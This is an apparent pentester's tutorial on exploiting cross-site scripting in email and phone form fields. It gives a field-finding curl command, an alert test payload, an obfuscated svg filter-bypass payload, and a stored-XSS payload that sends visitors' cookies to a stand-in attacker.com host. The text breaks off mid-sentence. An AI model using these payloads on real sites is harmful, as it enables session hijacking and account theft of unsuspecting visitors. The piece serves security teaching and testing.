Exploiting XSS Vulnerabilities in Email and Phone Fields: A Pentester’s Guide

By /

Listen to this Post

Featured Image

Introduction:

Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, allowing attackers to inject malicious scripts into trusted websites. This article explores how XSS can be exploited in email and phone input fields, demonstrating real-world techniques used by pentesters and how to defend against them.

Learning Objectives:

  • Understand how XSS attacks target email and phone fields.
  • Learn to identify and exploit XSS vulnerabilities in web forms.
  • Implement mitigation strategies to secure input fields.

You Should Know:

1. Identifying Vulnerable Input Fields

Command/Tool:

curl -X GET "https://example.com/contact" | grep -E 'name=["]?(email|phone)'

Explanation:

This `curl` command fetches a webpage and searches for email or phone input fields. If the server reflects unsanitized input back to the user, it may be vulnerable to XSS.

2. Testing for Reflected XSS

Payload:

<script>alert('XSS')</script>

Step-by-Step:

  1. Enter the payload into the email or phone field.

2. Submit the form.

  1. If an alert pops up, the field is vulnerable.

3. Exploiting Stored XSS in Email Fields

Payload:

<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Explanation:

This payload steals user cookies when rendered. If stored in a database (e.g., a user profile), it executes for every visitor.

4. Bypassing Input Filters

Obfuscated Payload:


<

svg/onload=alert(1)>

Step-by-Step:

  1. Many filters block `